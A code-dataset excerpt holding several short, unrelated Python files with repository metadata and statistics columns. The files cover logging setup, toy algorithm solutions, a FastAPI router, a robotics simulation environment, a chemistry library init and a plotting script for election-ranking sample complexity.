| 31.121212 | 97 | 0.682571 | 116 | 1,027 | 5.862069 | 0.396552 | 0.076471 | 0.075 | 0.101471 | 0.082353 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001245 | 0.218111 | 1,027 | 32 | 98 | 32.09375 | 0.845579 | 0.223953 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.235294 | false | 0 | 0.235294 | 0.058824 | 0.705882 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
40468847dab2a375a6c33b591dc6abfdcf2a37d1 | 221 | py | Python | SageMakerHelpers/__logging__.py | kevinpmcgee14/sagemaker-helpers | 16e6f7592779edc94f9bb1d944d8ad7d7ba8ad5b | [
"MIT"
] | null | null | null | SageMakerHelpers/__logging__.py | kevinpmcgee14/sagemaker-helpers | 16e6f7592779edc94f9bb1d944d8ad7d7ba8ad5b | [
"MIT"
] | null | null | null | SageMakerHelpers/__logging__.py | kevinpmcgee14/sagemaker-helpers | 16e6f7592779edc94f9bb1d944d8ad7d7ba8ad5b | [
"MIT"
] | null | null | null | import logging
logging_format = ' %(name)s :: %(levelname)-8s :: %(message)s'
logging.basicConfig(level=logging.WARNING, format=logging_format)
logging.getLogger().setLevel(logging.WARNING)
logger = logging.getLogger() | 27.625 | 65 | 0.760181 | 26 | 221 | 6.384615 | 0.538462 | 0.156627 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004926 | 0.081448 | 221 | 8 | 66 | 27.625 | 0.812808 | 0 | 0 | 0 | 0 | 0 | 0.193694 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40489d3296cf335f16f683a363510c709d9094d8 | 2,143 | py | Python | ietf/secr/meetings/models.py | ekr/ietfdb | 8d936836b0b9ff31cda415b0a423e3f5b33ab695 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 2 | 2021-11-20T03:40:40.000Z | 2021-11-20T03:40:42.000Z | ietf/secr/meetings/models.py | ekr/ietfdb | 8d936836b0b9ff31cda415b0a423e3f5b33ab695 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | ietf/secr/meetings/models.py | ekr/ietfdb | 8d936836b0b9ff31cda415b0a423e3f5b33ab695 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | #from sec.core.models import Meeting
"""
import datetime
class GeneralInfo(models.Model):
id = models.IntegerField(primary_key=True)
info_name = models.CharField(max_length=150, blank=True)
info_text = models.TextField(blank=True)
info_header = models.CharField(max_length=765, blank=True)
class Meta:
db_table = u'general_info'
class MeetingVenue(models.Model):
meeting_num = models.ForeignKey(Meeting, db_column='meeting_num', unique=True, editable=False)
break_area_name = models.CharField(max_length=255)
reg_area_name = models.CharField(max_length=255)
def __str__(self):
return "IETF %s" % (self.meeting_num_id)
class Meta:
db_table = 'meeting_venues'
verbose_name = "Meeting public areas"
verbose_name_plural = "Meeting public areas"
class NonSessionRef(models.Model):
name = models.CharField(max_length=255)
def __str__(self):
return self.name
class Meta:
db_table = 'non_session_ref'
verbose_name = "Non-session slot name"
class NonSession(models.Model):
non_session_id = models.AutoField(primary_key=True, editable=False)
day_id = models.IntegerField(blank=True, null=True, editable=False)
non_session_ref = models.ForeignKey(NonSessionRef, editable=False)
meeting = models.ForeignKey(Meeting, db_column='meeting_num', editable=False)
time_desc = models.CharField(blank=True, max_length=75, default='0')
show_break_location = models.BooleanField(editable=False, default=True)
def __str__(self):
if self.day_id != None:
return "%s %s %s @%s" % ((self.meeting.start_date + datetime.timedelta(self.day_id)).strftime('%A'), self.time_desc, self.non_session_ref, self.meeting_id)
else:
return "** %s %s @%s" % (self.time_desc, self.non_session_ref, self.meeting_id)
def day(self):
if self.day_id != None:
return (self.meeting.start_date + datetime.timedelta(self.day_id)).strftime('%A')
else:
return ""
class Meta:
db_table = 'non_session'
verbose_name = "Meeting non-session slot"
""" | 40.433962 | 167 | 0.689221 | 283 | 2,143 | 4.971731 | 0.275618 | 0.056859 | 0.063966 | 0.085288 | 0.383085 | 0.363184 | 0.326226 | 0.204691 | 0.204691 | 0.204691 | 0 | 0.010423 | 0.19412 | 2,143 | 53 | 168 | 40.433962 | 0.804285 | 0.995334 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
404c494881a83942a891d0612b177a4c3ea34dbe | 253 | py | Python | ps2/src/stability/temp.py | Ziggareto/cs229 | 10b03b68b24d252dad3e3437561976d9509ebdd0 | [
"MIT"
] | null | null | null | ps2/src/stability/temp.py | Ziggareto/cs229 | 10b03b68b24d252dad3e3437561976d9509ebdd0 | [
"MIT"
] | null | null | null | ps2/src/stability/temp.py | Ziggareto/cs229 | 10b03b68b24d252dad3e3437561976d9509ebdd0 | [
"MIT"
] | null | null | null | import os
import sys
print(f'cwd: {os.getcwd()}')
#print(f'pythonpath: {os.environ["PYTHONPATH"]}')
try:
print(f'\nenvirons: {os.environ["ASDF"]}')
except Exception as e:
print(f'exception: {e}, {type(e)}')
print(f'\nsys.path: {sys.path}') | 23 | 49 | 0.632411 | 38 | 253 | 4.210526 | 0.5 | 0.1875 | 0.0875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130435 | 253 | 11 | 50 | 23 | 0.727273 | 0.189723 | 0 | 0 | 0 | 0 | 0.473171 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.25 | 0 | 0.25 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
405e551b698e3c29c86fb1f195bf540d313f6175 | 206 | py | Python | zerojudge/a004.py | x06lan/mt | 3e4ddacc7717595acbfd689e22cd1e154843b99e | [
"MIT"
] | null | null | null | zerojudge/a004.py | x06lan/mt | 3e4ddacc7717595acbfd689e22cd1e154843b99e | [
"MIT"
] | null | null | null | zerojudge/a004.py | x06lan/mt | 3e4ddacc7717595acbfd689e22cd1e154843b99e | [
"MIT"
] | null | null | null | import sys
out=[]
for x in sys.stdin:
x=int(x)
if x%4==0 :
if x%100!=0 or x%400==0:
out.append("閏年")
else:
out.append("平年")
else:
out.append("平年")
if x=="":
break
for i in out:
print(i)
| 12.117647 | 26 | 0.553398 | 43 | 206 | 2.651163 | 0.488372 | 0.078947 | 0.22807 | 0.263158 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063291 | 0.23301 | 206 | 16 | 27 | 12.875 | 0.658228 | 0 | 0 | 0.266667 | 0 | 0 | 0.029126 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.066667 | 0 | 0.066667 | 0.066667 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4076807eb3962bcb81fd0738654f1011e2a98bde | 541 | py | Python | src/Unique Binary Search Trees.py | xiaonanln/myleetcode-python | 95d282f21a257f937cd22ef20c3590a69919e307 | [
"Apache-2.0"
] | null | null | null | src/Unique Binary Search Trees.py | xiaonanln/myleetcode-python | 95d282f21a257f937cd22ef20c3590a69919e307 | [
"Apache-2.0"
] | null | null | null | src/Unique Binary Search Trees.py | xiaonanln/myleetcode-python | 95d282f21a257f937cd22ef20c3590a69919e307 | [
"Apache-2.0"
] | null | null | null | class Solution:
# @return an integer
def numTrees(self, n):
R = [0] * max((n + 1), 3)
R[0] = 1
R[1] = 1
R[2] = 2
for i in xrange(3, n+1):
tr = 0
for h in xrange(0, i):
ln = h
rn = i - h - 1
# print i, ln, rn, R[ln], R[rn]
tr += R[ln] * R[rn]
R[i] = tr
return R[n]
print Solution().numTrees(1)
print Solution().numTrees(2)
print Solution().numTrees(3) | 24.590909 | 47 | 0.375231 | 76 | 541 | 2.671053 | 0.315789 | 0.192118 | 0.310345 | 0.059113 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.060932 | 0.484288 | 541 | 22 | 48 | 24.590909 | 0.666667 | 0.118299 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.176471 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4076cfce92a39fbc804cea492ff7f7cbabc72749 | 584 | py | Python | problem_31.py | MasterScott/project-euler | 643df8258bf9ac84b14b648a3a5a254bc682c473 | [
"MIT"
] | null | null | null | problem_31.py | MasterScott/project-euler | 643df8258bf9ac84b14b648a3a5a254bc682c473 | [
"MIT"
] | null | null | null | problem_31.py | MasterScott/project-euler | 643df8258bf9ac84b14b648a3a5a254bc682c473 | [
"MIT"
] | 1 | 2019-10-28T23:33:46.000Z | 2019-10-28T23:33:46.000Z | from time import time
TARGET_SUM = 200
COINS = [1, 2, 5, 10, 20, 50, 100, 200]
DYNAMIC_TABLE = {}
def calculate(point, coinset):
if point - coinset[0] < 0:
return 0
elif point == coinset[0]:
return 1
else:
if (point, str(coinset)) in DYNAMIC_TABLE:
return DYNAMIC_TABLE[(point, str(coinset))]
DYNAMIC_TABLE[(point, str(coinset))] = calculate(point-coinset[0], coinset) + calculate(point, coinset[1:])
return DYNAMIC_TABLE[(point, str(coinset))]
t = time()
print calculate(TARGET_SUM, COINS)
print 'Time:', time()-t
| 25.391304 | 115 | 0.626712 | 80 | 584 | 4.4875 | 0.3625 | 0.167131 | 0.167131 | 0.167131 | 0.259053 | 0.183844 | 0 | 0 | 0 | 0 | 0 | 0.055679 | 0.231164 | 584 | 22 | 116 | 26.545455 | 0.743875 | 0 | 0 | 0.117647 | 0 | 0 | 0.008562 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.058824 | null | null | 0.117647 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
407caab0cf29a4393d473aa6fc12860a1a1c421b | 459 | py | Python | app/webapps/base.py | ardihikaru/login-boilerplate | e10d077de0aefa9cb7a4633f915304e805c3f982 | [
"MIT"
] | null | null | null | app/webapps/base.py | ardihikaru/login-boilerplate | e10d077de0aefa9cb7a4633f915304e805c3f982 | [
"MIT"
] | null | null | null | app/webapps/base.py | ardihikaru/login-boilerplate | e10d077de0aefa9cb7a4633f915304e805c3f982 | [
"MIT"
] | null | null | null | from fastapi import APIRouter
from app.webapps.dashboard import route as route_dashboard
from app.webapps.auth import route as route_login
from app.webapps.user import route as route_user
api_router = APIRouter()
api_router.include_router(route_dashboard.router, prefix="", tags=["dashboard-webapp"])
api_router.include_router(route_login.router, prefix="", tags=["auth-webapp"])
api_router.include_router(route_user.router, prefix="", tags=["user-webapp"])
| 45.9 | 87 | 0.8061 | 67 | 459 | 5.328358 | 0.268657 | 0.10084 | 0.117647 | 0.151261 | 0.260504 | 0.184874 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076253 | 459 | 9 | 88 | 51 | 0.841981 | 0 | 0 | 0 | 0 | 0 | 0.082789 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
4082e30e850479d1639107eca6ba5198f4f52643 | 1,015 | py | Python | src/injecta/service/resolved/ResolvedArgument.py | DataSentics/injecta | 090eeac6c76c43d40be71df678222a07b0a3c783 | [
"MIT"
] | 3 | 2021-09-27T12:55:00.000Z | 2022-01-31T19:13:23.000Z | src/injecta/service/resolved/ResolvedArgument.py | DataSentics/injecta | 090eeac6c76c43d40be71df678222a07b0a3c783 | [
"MIT"
] | null | null | null | src/injecta/service/resolved/ResolvedArgument.py | DataSentics/injecta | 090eeac6c76c43d40be71df678222a07b0a3c783 | [
"MIT"
] | 1 | 2021-03-04T09:12:05.000Z | 2021-03-04T09:12:05.000Z | from typing import Optional
from injecta.service.argument.ArgumentInterface import ArgumentInterface
from injecta.service.class_.InspectedArgument import InspectedArgument
class ResolvedArgument:
def __init__(
self,
name: str,
argument: Optional[ArgumentInterface], # nullable in case of services to be autowired
inspected_argument: Optional[InspectedArgument],
):
self.__name = name
self.__argument_history = [{"argument": argument, "description": "config definition"}]
self.__inspected_argument = inspected_argument
@property
def name(self):
return self.__name
@property
def argument(self):
return self.__argument_history[-1]["argument"]
def modify_argument(self, argument: ArgumentInterface, change_description: str):
self.__argument_history.append({"argument": argument, "description": change_description})
@property
def inspected_argument(self):
return self.__inspected_argument
| 32.741935 | 97 | 0.719212 | 100 | 1,015 | 7 | 0.35 | 0.121429 | 0.081429 | 0.062857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00123 | 0.199015 | 1,015 | 30 | 98 | 33.833333 | 0.859779 | 0.04335 | 0 | 0.125 | 0 | 0 | 0.065015 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.208333 | false | 0 | 0.125 | 0.125 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
40868371578192d2c8569f770b332019746f2eff | 1,007 | py | Python | simulation/env_99.py | liaojh1998/cross-modal-concept2robot | 2a00937eb2ac02cbe3d5d5fa0f5868e85d194f6e | [
"MIT"
] | 4 | 2021-08-04T08:14:36.000Z | 2022-03-14T05:59:46.000Z | simulation/env_99.py | liaojh1998/cross-modal-concept2robot | 2a00937eb2ac02cbe3d5d5fa0f5868e85d194f6e | [
"MIT"
] | null | null | null | simulation/env_99.py | liaojh1998/cross-modal-concept2robot | 2a00937eb2ac02cbe3d5d5fa0f5868e85d194f6e | [
"MIT"
] | 2 | 2021-08-28T13:19:31.000Z | 2021-09-17T17:48:41.000Z | #!/usr/bin/env python3
import time
import math
from datetime import datetime
from time import sleep
import numpy as np
import random
import cv2
import os
import argparse
import torch
import sys
sys.path.append('./')
from env_98 import Engine98
from utils_env import get_view,safe_path,cut_frame,point2traj,get_gripper_pos,backup_code
class Engine99(Engine98):
def __init__(self, worker_id, opti, p_id, taskId=5, maxSteps=15, n_dmps=3, cReward=True):
super(Engine99,self).__init__(worker_id, opti, p_id, taskId=taskId, maxSteps=maxSteps, n_dmps=n_dmps, cReward=cReward)
self.opti = opti
def get_success(self,seg=None):
pos = self.p.getBasePositionAndOrientation(self.obj_id)[0][2]
closet_info = self.p.getContactPoints (self.robotId, self.obj_id)
if len(closet_info) > 0:
self.contact = True
if pos < self.pos - 0.04 and self.dmp.timestep >= self.dmp.timesteps and self.contact:
return True
else:
return False
| 30.515152 | 126 | 0.714995 | 152 | 1,007 | 4.552632 | 0.493421 | 0.021676 | 0.034682 | 0.037572 | 0.060694 | 0.060694 | 0 | 0 | 0 | 0 | 0 | 0.028221 | 0.190665 | 1,007 | 32 | 127 | 31.46875 | 0.820859 | 0.020854 | 0 | 0 | 0 | 0 | 0.00203 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.074074 | false | 0 | 0.481481 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
4097350ac87a0e79e1f60f219bec49f388de8ef9 | 191 | py | Python | domainfinder.py | CRTL-C/8IP | ff2b4477b7a54f2bf2c0645781377431648b5835 | [
"MIT"
] | 1 | 2021-04-15T03:57:40.000Z | 2021-04-15T03:57:40.000Z | domainfinder.py | CRTL-C/8IP | ff2b4477b7a54f2bf2c0645781377431648b5835 | [
"MIT"
] | null | null | null | domainfinder.py | CRTL-C/8IP | ff2b4477b7a54f2bf2c0645781377431648b5835 | [
"MIT"
] | null | null | null | import socket
IP = input("Enter target's Address : ")
if __name__ == "__main__":
domain = socket.gethostbyaddr(IP)
print("Domain name of {} address is {}.".format(IP, domain))
| 23.875 | 64 | 0.643979 | 24 | 191 | 4.791667 | 0.708333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.204188 | 191 | 8 | 65 | 23.875 | 0.756579 | 0 | 0 | 0 | 0 | 0 | 0.338542 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0.2 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4099055b7e724a04cb33a936eecf18badf74ef32 | 165 | py | Python | Curso em Video/Desafio_025.py | tonmarcondes/UNIVESP | a66a623d4811e8f3f9e2999f09e38a4470035ae2 | [
"MIT"
] | null | null | null | Curso em Video/Desafio_025.py | tonmarcondes/UNIVESP | a66a623d4811e8f3f9e2999f09e38a4470035ae2 | [
"MIT"
] | null | null | null | Curso em Video/Desafio_025.py | tonmarcondes/UNIVESP | a66a623d4811e8f3f9e2999f09e38a4470035ae2 | [
"MIT"
] | null | null | null | nome = input('\nInsira seu nome: \n')
if 'SILVA' in nome.upper():
print('O seu nome tem SILAVA\n')
else:
print('Você não faz parte da família SILVA\n') | 27.5 | 50 | 0.630303 | 28 | 165 | 3.714286 | 0.714286 | 0.134615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.218182 | 165 | 6 | 50 | 27.5 | 0.806202 | 0 | 0 | 0 | 0 | 0 | 0.534161 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.4 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4099ec031cfaea198c8fc8d0c0e4542076257979 | 2,826 | py | Python | basis_set_exchange/__init__.py | BasisSetExchange/basis_set_exchange | 1054817a0a898800897354b003e23b5222d54d21 | [
"BSD-3-Clause"
] | 4 | 2018-03-21T20:33:56.000Z | 2018-05-28T02:07:39.000Z | basis_set_exchange/__init__.py | BasisSetExchange/basis_set_exchange | 1054817a0a898800897354b003e23b5222d54d21 | [
"BSD-3-Clause"
] | 20 | 2018-02-15T15:15:40.000Z | 2018-05-22T19:54:58.000Z | basis_set_exchange/__init__.py | BasisSetExchange/basis_set_exchange | 1054817a0a898800897354b003e23b5222d54d21 | [
"BSD-3-Clause"
] | 1 | 2018-03-15T02:12:55.000Z | 2018-03-15T02:12:55.000Z | # Copyright (c) 2017-2022 The Molecular Sciences Software Institute, Virginia Tech
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
'''
Basis Set Exchange Python library
This package contains utilities for obtaining, reading, writing,
and converting basis set information
'''
# Check to make sure we are using python 3
import sys
if sys.version_info < (3, 0):
raise RuntimeError("This library requires python 3")
# Just import the basic user API
from .api import (get_basis, lookup_basis_by_role, get_metadata, get_reference_data, get_all_basis_names,
get_references, get_basis_family, filter_basis_sets, get_families, get_family_notes, get_basis_notes,
has_basis_notes, has_family_notes, get_roles, get_formats, version, get_data_dir)
from .readers import read_formatted_basis_file, read_formatted_basis_str, get_reader_formats
from .writers import write_formatted_basis_file, write_formatted_basis_str, get_writer_formats
from .convert import convert_formatted_basis_file, convert_formatted_basis_str
from .refconverters import get_reference_formats
from .validator import validate_file, validate_data
from .bundle import create_bundle, get_archive_types
# Handle versioneer
from ._version import get_versions
versions = get_versions()
__version__ = versions['version']
__git_revision__ = versions['full-revisionid']
del get_versions, versions
| 44.15625 | 119 | 0.800071 | 406 | 2,826 | 5.394089 | 0.487685 | 0.038356 | 0.024658 | 0.021005 | 0.084018 | 0.0621 | 0.0621 | 0.0621 | 0.0621 | 0.0621 | 0 | 0.006245 | 0.150035 | 2,826 | 63 | 120 | 44.857143 | 0.905495 | 0.61288 | 0 | 0 | 0 | 0 | 0.049289 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.529412 | 0 | 0.529412 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
40a0ac9ef1f0942324ba2dd8c8677bdc56cbdcb2 | 3,525 | py | Python | cswor/runner_us_data.py | satvikmashkaria/CS748_project | 57185b6a467e638d6db96cf1c7d3dbe8d6bf5032 | [
"BSD-3-Clause"
] | 1 | 2021-05-16T18:39:51.000Z | 2021-05-16T18:39:51.000Z | cswor/runner_us_data.py | satvikmashkaria/CS748_project | 57185b6a467e638d6db96cf1c7d3dbe8d6bf5032 | [
"BSD-3-Clause"
] | null | null | null | cswor/runner_us_data.py | satvikmashkaria/CS748_project | 57185b6a467e638d6db96cf1c7d3dbe8d6bf5032 | [
"BSD-3-Clause"
] | null | null | null | from mod_copeland_yateesh import sample_complexity
args = {}
# args['heuristic'] = 'random'
args['heuristic'] = 'greedy'
# args['heuristic'] = 'mod_dcb'
args['n_voters'] = 4639
args['alpha'] = 0.05
args['seed'] = 42
args['ques_limit'] = 5
args['gamma'] = 0.5
args['probs'] = [0.05, 0.1, 0.2, 0.4]
q_limits = [1, 2, 3, 5, 8, 10, 13, 15, 20, 25, 30]
# q_limits = [1]
# gammas = [0.0, 0.2, 0.4, 0.6, 0.8, 1.0]
# gammas = [0.0]
greedy_itrs = []
random_itrs = []
seeds = [0, 1, 2, 3, 4]
# seeds = [0]
# for seed in seeds:
# args['seed'] = seed
# itr, winner = sample_complexity(args)
# print("seed", seed, "itr", itr, "winner", winner)
# random_itrs.append(itr)
#
# print(random_itrs)
# print(sum(random_itrs)/6)
# for seed in seeds:
# seed_vals = []
# args['seed'] = seed
# for q_limit in q_limits:
# args['ques_limit'] = q_limit
# print("Que. limit ", q_limit, "started")
# itr, winner = sample_complexity(args)
# print("seed", seed, "itr", itr, "winner", winner)
# seed_vals.append(itr)
# greedy_itrs.append(seed_vals)
# ###
# print(greedy_itrs)
# print(sample_complexity(args))
greedy_itrs = [[283, 199, 167, 167, 167, 167, 167, 167, 167, 167, 167], [209, 160, 109, 93, 93, 93, 93, 93, 93, 93, 93], [216, 169, 112, 104, 104, 110, 104, 104, 104, 104, 104], [228, 124, 116, 116, 116, 116, 116, 116, 116, 116, 116], [479, 362, 363, 363, 362, 362, 363, 363, 363, 363, 363]]
dcb_itrs = [[499, 373, 343, 170, 180, 179, 180, 180, 180, 180, 180], [893, 714, 660, 546, 547, 468, 340, 79, 79, 79, 79], [672, 298, 231, 201, 207, 180, 166, 169, 169, 169, 169], [940, 432, 310, 310, 116, 175, 194, 198, 198, 198, 198], [481, 523, 357, 352, 446, 365, 346, 345, 345, 345, 345]]
dcb_mod_itrs = [[589, 385, 183, 157, 168, 168, 175, 179, 178, 175, 174], [711, 558, 553, 469, 427, 299, 291, 57, 117, 119, 118], [454, 349, 267, 214, 168, 168, 165, 153, 103, 72, 103], [648, 440, 302, 310, 117, 120, 181, 180, 198, 197, 28], [564, 364, 448, 361, 345, 447, 363, 56, 345, 345, 345]]
import numpy as np
import matplotlib.pyplot as plt
def convert(lst):
lst = [np.array(i) for i in lst]
lst = sum(lst)
lst = [i/5 for i in lst]
return lst
print(convert(greedy_itrs))
print(convert(dcb_itrs))
print(convert(dcb_mod_itrs))
import seaborn as sns
sns.set_theme()
plt.plot(q_limits, convert(greedy_itrs), label="Greedy (ours)")
# plt.plot(q_limits, convert(dcb_itrs), label="DCB")
plt.plot(q_limits, convert(dcb_mod_itrs), label="DCB Extended")
plt.xlabel("Num of questions asked")
plt.ylabel("Avg sample complexity")
plt.title("US election 2012 data (16 candidates)")
plt.legend()
plt.savefig("us_comp.png")
plt.show()
# greedy_itrs = [[257, 307, 377, 424, 297, 453], [252, 303, 377, 424, 297, 453], [251, 307, 377, 424, 297, 453], [254, 307, 377, 424, 297, 453], [254, 307, 377, 424, 297, 453], [254, 307, 377, 424, 297, 453]]
#
# print([sum(i)/6 for i in greedy_itrs])
#
# import matplotlib.pyplot as plt
#
# plt.plot(gammas, [sum(i)/6 for i in greedy_itrs])
# plt.xlabel("Gamma")
# plt.ylabel("Average sample complexity")
# plt.show()
# res = [[649, 496, 496, 496, 496, 496], [565, 496, 496, 496, 496, 496], [524, 747, 782, 526, 526, 526]]
#
# def suml(l1, l2):
# return [(l1[i] + l2[i]) for i in range(len(l1))]
#
# resf = suml(suml(res[0], res[1]), res[2])
# resf = [i/3 for i in resf]
#
# import matplotlib.pyplot as plt
#
# plt.plot(gammas, resf)
# plt.xlabel("Gamma Values")
# plt.ylabel("Sample complexity averaged over 3 seeds")
